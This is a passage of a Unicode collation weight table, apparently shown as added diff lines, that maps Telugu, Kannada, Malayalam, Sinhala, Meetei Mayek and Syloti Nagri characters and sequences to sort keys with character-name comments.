+0C19  ; [.2807.0020.0002] # TELUGU LETTER NGA
+0C1A  ; [.2808.0020.0002] # TELUGU LETTER CA
+0C58  ; [.2809.0020.0002] # TELUGU LETTER TSA
+0C1B  ; [.280A.0020.0002] # TELUGU LETTER CHA
+0C1C  ; [.280B.0020.0002] # TELUGU LETTER JA
+0C59  ; [.280C.0020.0002] # TELUGU LETTER DZA
+0C1D  ; [.280D.0020.0002] # TELUGU LETTER JHA
+0C1E  ; [.280E.0020.0002] # TELUGU LETTER NYA
+0C1F  ; [.280F.0020.0002] # TELUGU LETTER TTA
+0C20  ; [.2810.0020.0002] # TELUGU LETTER TTHA
+0C21  ; [.2811.0020.0002] # TELUGU LETTER DDA
+0C22  ; [.2812.0020.0002] # TELUGU LETTER DDHA
+0C23  ; [.2813.0020.0002] # TELUGU LETTER NNA
+0C24  ; [.2814.0020.0002] # TELUGU LETTER TA
+0C25  ; [.2815.0020.0002] # TELUGU LETTER THA
+0C26  ; [.2816.0020.0002] # TELUGU LETTER DA
+0C27  ; [.2817.0020.0002] # TELUGU LETTER DHA
+0C28  ; [.2818.0020.0002] # TELUGU LETTER NA
+0C2A  ; [.2819.0020.0002] # TELUGU LETTER PA
+0C2B  ; [.281A.0020.0002] # TELUGU LETTER PHA
+0C2C  ; [.281B.0020.0002] # TELUGU LETTER BA
+0C2D  ; [.281C.0020.0002] # TELUGU LETTER BHA
+0C2E  ; [.281D.0020.0002] # TELUGU LETTER MA
+0C2F  ; [.281E.0020.0002] # TELUGU LETTER YA
+0C30  ; [.281F.0020.0002] # TELUGU LETTER RA
+0C31  ; [.2820.0020.0002] # TELUGU LETTER RRA
+0C32  ; [.2821.0020.0002] # TELUGU LETTER LA
+0C35  ; [.2822.0020.0002] # TELUGU LETTER VA
+0C36  ; [.2823.0020.0002] # TELUGU LETTER SHA
+0C37  ; [.2824.0020.0002] # TELUGU LETTER SSA
+0C38  ; [.2825.0020.0002] # TELUGU LETTER SA
+0C39  ; [.2826.0020.0002] # TELUGU LETTER HA
+0C33  ; [.2827.0020.0002] # TELUGU LETTER LLA
+0C34  ; [.2828.0020.0002] # TELUGU LETTER LLLA
+0C5A  ; [.2829.0020.0002] # TELUGU LETTER RRRA
+0C3D  ; [.282A.0020.0002] # TELUGU SIGN AVAGRAHA
+0C3E  ; [.282B.0020.0002] # TELUGU VOWEL SIGN AA
+0C3F  ; [.282C.0020.0002] # TELUGU VOWEL SIGN I
+0C40  ; [.282D.0020.0002] # TELUGU VOWEL SIGN II
+0C41  ; [.282E.0020.0002] # TELUGU VOWEL SIGN U
+0C42  ; [.282F.0020.0002] # TELUGU VOWEL SIGN UU
+0C43  ; [.2830.0020.0002] # TELUGU VOWEL SIGN VOCALIC R
+0C44  ; [.2831.0020.0002] # TELUGU VOWEL SIGN VOCALIC RR
+0C62  ; [.2832.0020.0002] # TELUGU VOWEL SIGN VOCALIC L
+0C63  ; [.2833.0020.0002] # TELUGU VOWEL SIGN VOCALIC LL
+0C46  ; [.2834.0020.0002] # TELUGU VOWEL SIGN E
+0C47  ; [.2835.0020.0002] # TELUGU VOWEL SIGN EE
+0C48  ; [.2836.0020.0002] # TELUGU VOWEL SIGN AI
+0C46 0C56 ; [.2836.0020.0002] # TELUGU VOWEL SIGN AI
+0C4A  ; [.2837.0020.0002] # TELUGU VOWEL SIGN O
+0C4B  ; [.2838.0020.0002] # TELUGU VOWEL SIGN OO
+0C4C  ; [.2839.0020.0002] # TELUGU VOWEL SIGN AU
+0C4D  ; [.283A.0020.0002] # TELUGU SIGN VIRAMA
+0C55  ; [.283B.0020.0002] # TELUGU LENGTH MARK
+0C56  ; [.283C.0020.0002] # TELUGU AI LENGTH MARK
+0C85  ; [.283D.0020.0002] # KANNADA LETTER A
+0C86  ; [.283E.0020.0002] # KANNADA LETTER AA
+0C87  ; [.283F.0020.0002] # KANNADA LETTER I
+0C88  ; [.2840.0020.0002] # KANNADA LETTER II
+0C89  ; [.2841.0020.0002] # KANNADA LETTER U
+0C8A  ; [.2842.0020.0002] # KANNADA LETTER UU
+0C8B  ; [.2843.0020.0002] # KANNADA LETTER VOCALIC R
+0CE0  ; [.2844.0020.0002] # KANNADA LETTER VOCALIC RR
+0C8C  ; [.2845.0020.0002] # KANNADA LETTER VOCALIC L
+0CE1  ; [.2846.0020.0002] # KANNADA LETTER VOCALIC LL
+0C8E  ; [.2847.0020.0002] # KANNADA LETTER E
+0C8F  ; [.2848.0020.0002] # KANNADA LETTER EE
+0C90  ; [.2849.0020.0002] # KANNADA LETTER AI
+0C92  ; [.284A.0020.0002] # KANNADA LETTER O
+0C93  ; [.284B.0020.0002] # KANNADA LETTER OO
+0C94  ; [.284C.0020.0002] # KANNADA LETTER AU
+0C95  ; [.284D.0020.0002] # KANNADA LETTER KA
+0C96  ; [.284E.0020.0002] # KANNADA LETTER KHA
+0C97  ; [.284F.0020.0002] # KANNADA LETTER GA
+0C98  ; [.2850.0020.0002] # KANNADA LETTER GHA
+0C99  ; [.2851.0020.0002] # KANNADA LETTER NGA
+0C9A  ; [.2852.0020.0002] # KANNADA LETTER CA
+0C9B  ; [.2853.0020.0002] # KANNADA LETTER CHA
+0C9C  ; [.2854.0020.0002] # KANNADA LETTER JA
+0C9D  ; [.2855.0020.0002] # KANNADA LETTER JHA
+0C9E  ; [.2856.0020.0002] # KANNADA LETTER NYA
+0C9F  ; [.2857.0020.0002] # KANNADA LETTER TTA
+0CA0  ; [.2858.0020.0002] # KANNADA LETTER TTHA
+0CA1  ; [.2859.0020.0002] # KANNADA LETTER DDA
+0CA2  ; [.285A.0020.0002] # KANNADA LETTER DDHA
+0CA3  ; [.285B.0020.0002] # KANNADA LETTER NNA
+0CA4  ; [.285C.0020.0002] # KANNADA LETTER TA
+0CA5  ; [.285D.0020.0002] # KANNADA LETTER THA
+0CA6  ; [.285E.0020.0002] # KANNADA LETTER DA
+0CA7  ; [.285F.0020.0002] # KANNADA LETTER DHA
+0CA8  ; [.2860.0020.0002] # KANNADA LETTER NA
+0CAA  ; [.2861.0020.0002] # KANNADA LETTER PA
+0CAB  ; [.2862.0020.0002] # KANNADA LETTER PHA
+0CAC  ; [.2863.0020.0002] # KANNADA LETTER BA
+0CAD  ; [.2864.0020.0002] # KANNADA LETTER BHA
+0CAE  ; [.2865.0020.0002] # KANNADA LETTER MA
+0CAF  ; [.2866.0020.0002] # KANNADA LETTER YA
+0CB0  ; [.2867.0020.0002] # KANNADA LETTER RA
+0CB1  ; [.2868.0020.0002] # KANNADA LETTER RRA
+0CB2  ; [.2869.0020.0002] # KANNADA LETTER LA
+0CB5  ; [.286A.0020.0002] # KANNADA LETTER VA
+0CB6  ; [.286B.0020.0002] # KANNADA LETTER SHA
+0CB7  ; [.286C.0020.0002] # KANNADA LETTER SSA
+0CB8  ; [.286D.0020.0002] # KANNADA LETTER SA
+0CB9  ; [.286E.0020.0002] # KANNADA LETTER HA
+0CB3  ; [.286F.0020.0002] # KANNADA LETTER LLA
+0CDE  ; [.2870.0020.0002] # KANNADA LETTER FA
+0CBD  ; [.2871.0020.0002] # KANNADA SIGN AVAGRAHA
+0CF1  ; [.2872.0020.0002] # KANNADA SIGN JIHVAMULIYA
+0CF2  ; [.2873.0020.0002] # KANNADA SIGN UPADHMANIYA
+0C80  ; [.2874.0020.0002] # KANNADA SIGN SPACING CANDRABINDU
+0CBE  ; [.2875.0020.0002] # KANNADA VOWEL SIGN AA
+0CBF  ; [.2876.0020.0002] # KANNADA VOWEL SIGN I
+0CC0  ; [.2877.0020.0002] # KANNADA VOWEL SIGN II
+0CBF 0CD5 ; [.2877.0020.0002] # KANNADA VOWEL SIGN II
+0CC1  ; [.2878.0020.0002] # KANNADA VOWEL SIGN U
+0CC2  ; [.2879.0020.0002] # KANNADA VOWEL SIGN UU
+0CC3  ; [.287A.0020.0002] # KANNADA VOWEL SIGN VOCALIC R
+0CC4  ; [.287B.0020.0002] # KANNADA VOWEL SIGN VOCALIC RR
+0CE2  ; [.287C.0020.0002] # KANNADA VOWEL SIGN VOCALIC L
+0CE3  ; [.287D.0020.0002] # KANNADA VOWEL SIGN VOCALIC LL
+0CC6  ; [.287E.0020.0002] # KANNADA VOWEL SIGN E
+0CC7  ; [.287F.0020.0002] # KANNADA VOWEL SIGN EE
+0CC6 0CD5 ; [.287F.0020.0002] # KANNADA VOWEL SIGN EE
+0CC8  ; [.2880.0020.0002] # KANNADA VOWEL SIGN AI
+0CC6 0CD6 ; [.2880.0020.0002] # KANNADA VOWEL SIGN AI
+0CCA  ; [.2881.0020.0002] # KANNADA VOWEL SIGN O
+0CC6 0CC2 ; [.2881.0020.0002] # KANNADA VOWEL SIGN O
+0CCB  ; [.2882.0020.0002] # KANNADA VOWEL SIGN OO
+0CC6 0CC2 0CD5 ; [.2882.0020.0002] # KANNADA VOWEL SIGN OO
+0CCA 0CD5 ; [.2882.0020.0002] # KANNADA VOWEL SIGN OO
+0CCC  ; [.2883.0020.0002] # KANNADA VOWEL SIGN AU
+0CCD  ; [.2884.0020.0002] # KANNADA SIGN VIRAMA
+0CD5  ; [.2885.0020.0002] # KANNADA LENGTH MARK
+0CD6  ; [.2886.0020.0002] # KANNADA AI LENGTH MARK
+0D05  ; [.2887.0020.0002] # MALAYALAM LETTER A
+0D06  ; [.2888.0020.0002] # MALAYALAM LETTER AA
+0D07  ; [.2889.0020.0002] # MALAYALAM LETTER I
+0D08  ; [.288A.0020.0002] # MALAYALAM LETTER II
+0D5F  ; [.288B.0020.0002] # MALAYALAM LETTER ARCHAIC II
+0D09  ; [.288C.0020.0002] # MALAYALAM LETTER U
+0D0A  ; [.288D.0020.0002] # MALAYALAM LETTER UU
+0D0B  ; [.288E.0020.0002] # MALAYALAM LETTER VOCALIC R
+0D60  ; [.288F.0020.0002] # MALAYALAM LETTER VOCALIC RR
+0D0C  ; [.2890.0020.0002] # MALAYALAM LETTER VOCALIC L
+0D61  ; [.2891.0020.0002] # MALAYALAM LETTER VOCALIC LL
+0D0E  ; [.2892.0020.0002] # MALAYALAM LETTER E
+0D0F  ; [.2893.0020.0002] # MALAYALAM LETTER EE
+0D10  ; [.2894.0020.0002] # MALAYALAM LETTER AI
+0D12  ; [.2895.0020.0002] # MALAYALAM LETTER O
+0D13  ; [.2896.0020.0002] # MALAYALAM LETTER OO
+0D14  ; [.2897.0020.0002] # MALAYALAM LETTER AU
+0D15  ; [.2898.0020.0002] # MALAYALAM LETTER KA
+0D7F  ; [.2898.0020.0004][.28CF.0020.0004] # MALAYALAM LETTER CHILLU K
+0D16  ; [.2899.0020.0002] # MALAYALAM LETTER KHA
+0D17  ; [.289A.0020.0002] # MALAYALAM LETTER GA
+0D18  ; [.289B.0020.0002] # MALAYALAM LETTER GHA
+0D19  ; [.289C.0020.0002] # MALAYALAM LETTER NGA
+0D1A  ; [.289D.0020.0002] # MALAYALAM LETTER CA
+0D1B  ; [.289E.0020.0002] # MALAYALAM LETTER CHA
+0D1C  ; [.289F.0020.0002] # MALAYALAM LETTER JA
+0D1D  ; [.28A0.0020.0002] # MALAYALAM LETTER JHA
+0D1E  ; [.28A1.0020.0002] # MALAYALAM LETTER NYA
+0D1F  ; [.28A2.0020.0002] # MALAYALAM LETTER TTA
+0D20  ; [.28A3.0020.0002] # MALAYALAM LETTER TTHA
+0D21  ; [.28A4.0020.0002] # MALAYALAM LETTER DDA
+0D22  ; [.28A5.0020.0002] # MALAYALAM LETTER DDHA
+0D23  ; [.28A6.0020.0002] # MALAYALAM LETTER NNA
+0D7A  ; [.28A6.0020.0004][.28CF.0020.0004] # MALAYALAM LETTER CHILLU NN
+0D24  ; [.28A7.0020.0002] # MALAYALAM LETTER TA
+0D25  ; [.28A8.0020.0002] # MALAYALAM LETTER THA
+0D26  ; [.28A9.0020.0002] # MALAYALAM LETTER DA
+0D27  ; [.28AA.0020.0002] # MALAYALAM LETTER DHA
+0D28  ; [.28AB.0020.0002] # MALAYALAM LETTER NA
+0D7B  ; [.28AB.0020.0004][.28CF.0020.0004] # MALAYALAM LETTER CHILLU N
+0D29  ; [.28AC.0020.0002] # MALAYALAM LETTER NNNA
+0D2A  ; [.28AD.0020.0002] # MALAYALAM LETTER PA
+0D2B  ; [.28AE.0020.0002] # MALAYALAM LETTER PHA
+0D2C  ; [.28AF.0020.0002] # MALAYALAM LETTER BA
+0D2D  ; [.28B0.0020.0002] # MALAYALAM LETTER BHA
+0D2E  ; [.28B1.0020.0002] # MALAYALAM LETTER MA
+0D54  ; [.28B1.0020.0004][.28CF.0020.0004] # MALAYALAM LETTER CHILLU M
+0D2F  ; [.28B2.0020.0002] # MALAYALAM LETTER YA
+0D55  ; [.28B2.0020.0004][.28CF.0020.0004] # MALAYALAM LETTER CHILLU Y
+0D30  ; [.28B3.0020.0002] # MALAYALAM LETTER RA
+0D4E  ; [.28B3.0020.0004][.28CF.0020.0004] # MALAYALAM LETTER DOT REPH
+0D7C  ; [.28B3.0020.0004][.28CF.0020.0004] # MALAYALAM LETTER CHILLU RR
+0D32  ; [.28B4.0020.0002] # MALAYALAM LETTER LA
+0D7D  ; [.28B4.0020.0004][.28CF.0020.0004] # MALAYALAM LETTER CHILLU L
+0D35  ; [.28B5.0020.0002] # MALAYALAM LETTER VA
+0D36  ; [.28B6.0020.0002] # MALAYALAM LETTER SHA
+0D37  ; [.28B7.0020.0002] # MALAYALAM LETTER SSA
+0D38  ; [.28B8.0020.0002] # MALAYALAM LETTER SA
+0D39  ; [.28B9.0020.0002] # MALAYALAM LETTER HA
+0D33  ; [.28BA.0020.0002] # MALAYALAM LETTER LLA
+0D7E  ; [.28BA.0020.0004][.28CF.0020.0004] # MALAYALAM LETTER CHILLU LL
+0D34  ; [.28BB.0020.0002] # MALAYALAM LETTER LLLA
+0D56  ; [.28BB.0020.0004][.28CF.0020.0004] # MALAYALAM LETTER CHILLU LLL
+0D31  ; [.28BC.0020.0002] # MALAYALAM LETTER RRA
+0D3A  ; [.28BD.0020.0002] # MALAYALAM LETTER TTTA
+0D3D  ; [.28BE.0020.0002] # MALAYALAM SIGN AVAGRAHA
+0D3E  ; [.28BF.0020.0002] # MALAYALAM VOWEL SIGN AA
+0D3F  ; [.28C0.0020.0002] # MALAYALAM VOWEL SIGN I
+0D40  ; [.28C1.0020.0002] # MALAYALAM VOWEL SIGN II
+0D41  ; [.28C2.0020.0002] # MALAYALAM VOWEL SIGN U
+0D42  ; [.28C3.0020.0002] # MALAYALAM VOWEL SIGN UU
+0D43  ; [.28C4.0020.0002] # MALAYALAM VOWEL SIGN VOCALIC R
+0D44  ; [.28C5.0020.0002] # MALAYALAM VOWEL SIGN VOCALIC RR
+0D62  ; [.28C6.0020.0002] # MALAYALAM VOWEL SIGN VOCALIC L
+0D63  ; [.28C7.0020.0002] # MALAYALAM VOWEL SIGN VOCALIC LL
+0D46  ; [.28C8.0020.0002] # MALAYALAM VOWEL SIGN E
+0D47  ; [.28C9.0020.0002] # MALAYALAM VOWEL SIGN EE
+0D48  ; [.28CA.0020.0002] # MALAYALAM VOWEL SIGN AI
+0D4A  ; [.28CB.0020.0002] # MALAYALAM VOWEL SIGN O
+0D46 0D3E ; [.28CB.0020.0002] # MALAYALAM VOWEL SIGN O
+0D4B  ; [.28CC.0020.0002] # MALAYALAM VOWEL SIGN OO
+0D47 0D3E ; [.28CC.0020.0002] # MALAYALAM VOWEL SIGN OO
+0D4C  ; [.28CD.0020.0002] # MALAYALAM VOWEL SIGN AU
+0D46 0D57 ; [.28CD.0020.0002] # MALAYALAM VOWEL SIGN AU
+0D57  ; [.28CE.0020.0002] # MALAYALAM AU LENGTH MARK
+0D4D  ; [.28CF.0020.0002] # MALAYALAM SIGN VIRAMA
+0D85  ; [.28D0.0020.0002] # SINHALA LETTER AYANNA
+0D86  ; [.28D1.0020.0002] # SINHALA LETTER AAYANNA
+0D87  ; [.28D2.0020.0002] # SINHALA LETTER AEYANNA
+0D88  ; [.28D3.0020.0002] # SINHALA LETTER AEEYANNA
+0D89  ; [.28D4.0020.0002] # SINHALA LETTER IYANNA
+0D8A  ; [.28D5.0020.0002] # SINHALA LETTER IIYANNA
+0D8B  ; [.28D6.0020.0002] # SINHALA LETTER UYANNA
+0D8C  ; [.28D7.0020.0002] # SINHALA LETTER UUYANNA
+0D8D  ; [.28D8.0020.0002] # SINHALA LETTER IRUYANNA
+0D8E  ; [.28D9.0020.0002] # SINHALA LETTER IRUUYANNA
+0D8F  ; [.28DA.0020.0002] # SINHALA LETTER ILUYANNA
+0D90  ; [.28DB.0020.0002] # SINHALA LETTER ILUUYANNA
+0D91  ; [.28DC.0020.0002] # SINHALA LETTER EYANNA
+0D92  ; [.28DD.0020.0002] # SINHALA LETTER EEYANNA
+0D93  ; [.28DE.0020.0002] # SINHALA LETTER AIYANNA
+0D94  ; [.28DF.0020.0002] # SINHALA LETTER OYANNA
+0D95  ; [.28E0.0020.0002] # SINHALA LETTER OOYANNA
+0D96  ; [.28E1.0020.0002] # SINHALA LETTER AUYANNA
+0D9A  ; [.28E2.0020.0002] # SINHALA LETTER ALPAPRAANA KAYANNA
+0D9B  ; [.28E3.0020.0002] # SINHALA LETTER MAHAAPRAANA KAYANNA
+0D9C  ; [.28E4.0020.0002] # SINHALA LETTER ALPAPRAANA GAYANNA
+0D9D  ; [.28E5.0020.0002] # SINHALA LETTER MAHAAPRAANA GAYANNA
+0D9E  ; [.28E6.0020.0002] # SINHALA LETTER KANTAJA NAASIKYAYA
+0D9F  ; [.28E7.0020.0002] # SINHALA LETTER SANYAKA GAYANNA
+0DA0  ; [.28E8.0020.0002] # SINHALA LETTER ALPAPRAANA CAYANNA
+0DA1  ; [.28E9.0020.0002] # SINHALA LETTER MAHAAPRAANA CAYANNA
+0DA2  ; [.28EA.0020.0002] # SINHALA LETTER ALPAPRAANA JAYANNA
+0DA3  ; [.28EB.0020.0002] # SINHALA LETTER MAHAAPRAANA JAYANNA
+0DA4  ; [.28EC.0020.0002] # SINHALA LETTER TAALUJA NAASIKYAYA
+0DA5  ; [.28ED.0020.0002] # SINHALA LETTER TAALUJA SANYOOGA NAAKSIKYAYA
+0DA6  ; [.28EE.0020.0002] # SINHALA LETTER SANYAKA JAYANNA
+0DA7  ; [.28EF.0020.0002] # SINHALA LETTER ALPAPRAANA TTAYANNA
+0DA8  ; [.28F0.0020.0002] # SINHALA LETTER MAHAAPRAANA TTAYANNA
+0DA9  ; [.28F1.0020.0002] # SINHALA LETTER ALPAPRAANA DDAYANNA
+0DAA  ; [.28F2.0020.0002] # SINHALA LETTER MAHAAPRAANA DDAYANNA
+0DAB  ; [.28F3.0020.0002] # SINHALA LETTER MUURDHAJA NAYANNA
+0DAC  ; [.28F4.0020.0002] # SINHALA LETTER SANYAKA DDAYANNA
+0DAD  ; [.28F5.0020.0002] # SINHALA LETTER ALPAPRAANA TAYANNA
+0DAE  ; [.28F6.0020.0002] # SINHALA LETTER MAHAAPRAANA TAYANNA
+0DAF  ; [.28F7.0020.0002] # SINHALA LETTER ALPAPRAANA DAYANNA
+0DB0  ; [.28F8.0020.0002] # SINHALA LETTER MAHAAPRAANA DAYANNA
+0DB1  ; [.28F9.0020.0002] # SINHALA LETTER DANTAJA NAYANNA
+0DB3  ; [.28FA.0020.0002] # SINHALA LETTER SANYAKA DAYANNA
+0DB4  ; [.28FB.0020.0002] # SINHALA LETTER ALPAPRAANA PAYANNA
+0DB5  ; [.28FC.0020.0002] # SINHALA LETTER MAHAAPRAANA PAYANNA
+0DB6  ; [.28FD.0020.0002] # SINHALA LETTER ALPAPRAANA BAYANNA
+0DB7  ; [.28FE.0020.0002] # SINHALA LETTER MAHAAPRAANA BAYANNA
+0DB8  ; [.28FF.0020.0002] # SINHALA LETTER MAYANNA
+0DB9  ; [.2900.0020.0002] # SINHALA LETTER AMBA BAYANNA
+0DBA  ; [.2901.0020.0002] # SINHALA LETTER YAYANNA
+0DBB  ; [.2902.0020.0002] # SINHALA LETTER RAYANNA
+0DBD  ; [.2903.0020.0002] # SINHALA LETTER DANTAJA LAYANNA
+0DC0  ; [.2904.0020.0002] # SINHALA LETTER VAYANNA
+0DC1  ; [.2905.0020.0002] # SINHALA LETTER TAALUJA SAYANNA
+0DC2  ; [.2906.0020.0002] # SINHALA LETTER MUURDHAJA SAYANNA
+0DC3  ; [.2907.0020.0002] # SINHALA LETTER DANTAJA SAYANNA
+0DC4  ; [.2908.0020.0002] # SINHALA LETTER HAYANNA
+0DC5  ; [.2909.0020.0002] # SINHALA LETTER MUURDHAJA LAYANNA
+0DC6  ; [.290A.0020.0002] # SINHALA LETTER FAYANNA
+0DCF  ; [.290B.0020.0002] # SINHALA VOWEL SIGN AELA-PILLA
+0DD0  ; [.290C.0020.0002] # SINHALA VOWEL SIGN KETTI AEDA-PILLA
+0DD1  ; [.290D.0020.0002] # SINHALA VOWEL SIGN DIGA AEDA-PILLA
+0DD2  ; [.290E.0020.0002] # SINHALA VOWEL SIGN KETTI IS-PILLA
+0DD3  ; [.290F.0020.0002] # SINHALA VOWEL SIGN DIGA IS-PILLA
+0DD4  ; [.2910.0020.0002] # SINHALA VOWEL SIGN KETTI PAA-PILLA
+0DD6  ; [.2911.0020.0002] # SINHALA VOWEL SIGN DIGA PAA-PILLA
+0DD8  ; [.2912.0020.0002] # SINHALA VOWEL SIGN GAETTA-PILLA
+0DF2  ; [.2913.0020.0002] # SINHALA VOWEL SIGN DIGA GAETTA-PILLA
+0DDF  ; [.2914.0020.0002] # SINHALA VOWEL SIGN GAYANUKITTA
+0DF3  ; [.2915.0020.0002] # SINHALA VOWEL SIGN DIGA GAYANUKITTA
+0DD9  ; [.2916.0020.0002] # SINHALA VOWEL SIGN KOMBUVA
+0DDA  ; [.2917.0020.0002] # SINHALA VOWEL SIGN DIGA KOMBUVA
+0DD9 0DCA ; [.2917.0020.0002] # SINHALA VOWEL SIGN DIGA KOMBUVA
+0DDB  ; [.2918.0020.0002] # SINHALA VOWEL SIGN KOMBU DEKA
+0DDC  ; [.2919.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA AELA-PILLA
+0DD9 0DCF ; [.2919.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA AELA-PILLA
+0DDD  ; [.291A.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA DIGA AELA-PILLA
+0DD9 0DCF 0DCA ; [.291A.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA DIGA AELA-PILLA
+0DDC 0DCA ; [.291A.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA DIGA AELA-PILLA
+0DDE  ; [.291B.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA GAYANUKITTA
+0DD9 0DDF ; [.291B.0020.0002] # SINHALA VOWEL SIGN KOMBUVA HAA GAYANUKITTA
+0DCA  ; [.291C.0020.0002] # SINHALA SIGN AL-LAKUNA
+AAF2  ; [.291D.0020.0002] # MEETEI MAYEK ANJI
+ABC0  ; [.291E.0020.0002] # MEETEI MAYEK LETTER KOK
+ABC1  ; [.291F.0020.0002] # MEETEI MAYEK LETTER SAM
+ABC2  ; [.2920.0020.0002] # MEETEI MAYEK LETTER LAI
+ABC3  ; [.2921.0020.0002] # MEETEI MAYEK LETTER MIT
+ABC4  ; [.2922.0020.0002] # MEETEI MAYEK LETTER PA
+ABC5  ; [.2923.0020.0002] # MEETEI MAYEK LETTER NA
+ABC6  ; [.2924.0020.0002] # MEETEI MAYEK LETTER CHIL
+ABC7  ; [.2925.0020.0002] # MEETEI MAYEK LETTER TIL
+ABC8  ; [.2926.0020.0002] # MEETEI MAYEK LETTER KHOU
+ABC9  ; [.2927.0020.0002] # MEETEI MAYEK LETTER NGOU
+ABCA  ; [.2928.0020.0002] # MEETEI MAYEK LETTER THOU
+ABCB  ; [.2929.0020.0002] # MEETEI MAYEK LETTER WAI
+ABCC  ; [.292A.0020.0002] # MEETEI MAYEK LETTER YANG
+ABCD  ; [.292B.0020.0002] # MEETEI MAYEK LETTER HUK
+ABCE  ; [.292C.0020.0002] # MEETEI MAYEK LETTER UN
+ABCF  ; [.292D.0020.0002] # MEETEI MAYEK LETTER I
+ABD0  ; [.292E.0020.0002] # MEETEI MAYEK LETTER PHAM
+ABD1  ; [.292F.0020.0002] # MEETEI MAYEK LETTER ATIYA
+ABD2  ; [.2930.0020.0002] # MEETEI MAYEK LETTER GOK
+ABD3  ; [.2931.0020.0002] # MEETEI MAYEK LETTER JHAM
+ABD4  ; [.2932.0020.0002] # MEETEI MAYEK LETTER RAI
+ABD5  ; [.2933.0020.0002] # MEETEI MAYEK LETTER BA
+ABD6  ; [.2934.0020.0002] # MEETEI MAYEK LETTER JIL
+ABD7  ; [.2935.0020.0002] # MEETEI MAYEK LETTER DIL
+ABD8  ; [.2936.0020.0002] # MEETEI MAYEK LETTER GHOU
+ABD9  ; [.2937.0020.0002] # MEETEI MAYEK LETTER DHOU
+ABDA  ; [.2938.0020.0002] # MEETEI MAYEK LETTER BHAM
+AAE0  ; [.2939.0020.0002] # MEETEI MAYEK LETTER E
+AAE1  ; [.293A.0020.0002] # MEETEI MAYEK LETTER O
+AAE2  ; [.293B.0020.0002] # MEETEI MAYEK LETTER CHA
+AAE3  ; [.293C.0020.0002] # MEETEI MAYEK LETTER NYA
+AAE4  ; [.293D.0020.0002] # MEETEI MAYEK LETTER TTA
+AAE5  ; [.293E.0020.0002] # MEETEI MAYEK LETTER TTHA
+AAE6  ; [.293F.0020.0002] # MEETEI MAYEK LETTER DDA
+AAE7  ; [.2940.0020.0002] # MEETEI MAYEK LETTER DDHA
+AAE8  ; [.2941.0020.0002] # MEETEI MAYEK LETTER NNA
+AAE9  ; [.2942.0020.0002] # MEETEI MAYEK LETTER SHA
+AAEA  ; [.2943.0020.0002] # MEETEI MAYEK LETTER SSA
+ABE3  ; [.2944.0020.0002] # MEETEI MAYEK VOWEL SIGN ONAP
+ABE4  ; [.2945.0020.0002] # MEETEI MAYEK VOWEL SIGN INAP
+ABE5  ; [.2946.0020.0002] # MEETEI MAYEK VOWEL SIGN ANAP
+ABE6  ; [.2947.0020.0002] # MEETEI MAYEK VOWEL SIGN YENAP
+ABE7  ; [.2948.0020.0002] # MEETEI MAYEK VOWEL SIGN SOUNAP
+ABE8  ; [.2949.0020.0002] # MEETEI MAYEK VOWEL SIGN UNAP
+ABE9  ; [.294A.0020.0002] # MEETEI MAYEK VOWEL SIGN CHEINAP
+ABEA  ; [.294B.0020.0002] # MEETEI MAYEK VOWEL SIGN NUNG
+AAEB  ; [.294C.0020.0002] # MEETEI MAYEK VOWEL SIGN II
+AAEC  ; [.294D.0020.0002] # MEETEI MAYEK VOWEL SIGN UU
+AAED  ; [.294E.0020.0002] # MEETEI MAYEK VOWEL SIGN AAI
+AAEE  ; [.294F.0020.0002] # MEETEI MAYEK VOWEL SIGN AU
+AAEF  ; [.2950.0020.0002] # MEETEI MAYEK VOWEL SIGN AAU
+AAF5  ; [.2951.0020.0002] # MEETEI MAYEK VOWEL SIGN VISARGA
+ABDB  ; [.2952.0020.0002] # MEETEI MAYEK LETTER KOK LONSUM
+ABDC  ; [.2953.0020.0002] # MEETEI MAYEK LETTER LAI LONSUM
+ABDD  ; [.2954.0020.0002] # MEETEI MAYEK LETTER MIT LONSUM
+ABDE  ; [.2955.0020.0002] # MEETEI MAYEK LETTER PA LONSUM
+ABDF  ; [.2956.0020.0002] # MEETEI MAYEK LETTER NA LONSUM
+ABE0  ; [.2957.0020.0002] # MEETEI MAYEK LETTER TIL LONSUM
+ABE1  ; [.2958.0020.0002] # MEETEI MAYEK LETTER NGOU LONSUM
+ABE2  ; [.2959.0020.0002] # MEETEI MAYEK LETTER I LONSUM
+ABED  ; [.295A.0020.0002] # MEETEI MAYEK APUN IYEK
+AAF6  ; [.295B.0020.0002] # MEETEI MAYEK VIRAMA
+A800  ; [.295C.0020.0002] # SYLOTI NAGRI LETTER A
+A801  ; [.295D.0020.0002] # SYLOTI NAGRI LETTER I
+A802  ; [.295E.0020.0002] # SYLOTI NAGRI SIGN DVISVARA
+A803  ; [.295F.0020.0002] # SYLOTI NAGRI LETTER U
+A804  ; [.2960.0020.0002] # SYLOTI NAGRI LETTER E
+A805  ; [.2961.0020.0002] # SYLOTI NAGRI LETTER O
+A806  ; [.2962.0020.0002] # SYLOTI NAGRI SIGN HASANTA
+A807  ; [.2963.0020.0002] # SYLOTI NAGRI LETTER KO
+A808  ; [.2964.0020.0002] # SYLOTI NAGRI LETTER KHO
+A809  ; [.2965.0020.0002] # SYLOTI NAGRI LETTER GO
+A80A  ; [.2966.0020.0002] # SYLOTI NAGRI LETTER GHO
+A80C  ; [.2967.0020.0002] # SYLOTI NAGRI LETTER CO
+A80D  ; [.2968.0020.0002] # SYLOTI NAGRI LETTER CHO
+A80E  ; [.2969.0020.0002] # SYLOTI NAGRI LETTER JO
+A80F  ; [.296A.0020.0002] # SYLOTI NAGRI LETTER JHO
+A810  ; [.296B.0020.0002] # SYLOTI NAGRI LETTER TTO
+A811  ; [.296C.0020.0002] # SYLOTI NAGRI LETTER TTHO
+A812  ; [.296D.0020.0002] # SYLOTI NAGRI LETTER DDO
+A813  ; [.296E.0020.0002] # SYLOTI NAGRI LETTER DDHO
+A814  ; [.296F.0020.0002] # SYLOTI NAGRI LETTER TO
+A815  ; [.2970.0020.0002] # SYLOTI NAGRI LETTER THO
+A816  ; [.2971.0020.0002] # SYLOTI NAGRI LETTER DO
+A817  ; [.2972.0020.0002] # SYLOTI NAGRI LETTER DHO
+A818  ; [.2973.0020.0002] # SYLOTI NAGRI LETTER NO
+A819  ; [.2974.0020.0002] # SYLOTI NAGRI LETTER PO
+A81A  ; [.2975.0020.0002] # SYLOTI NAGRI LETTER PHO
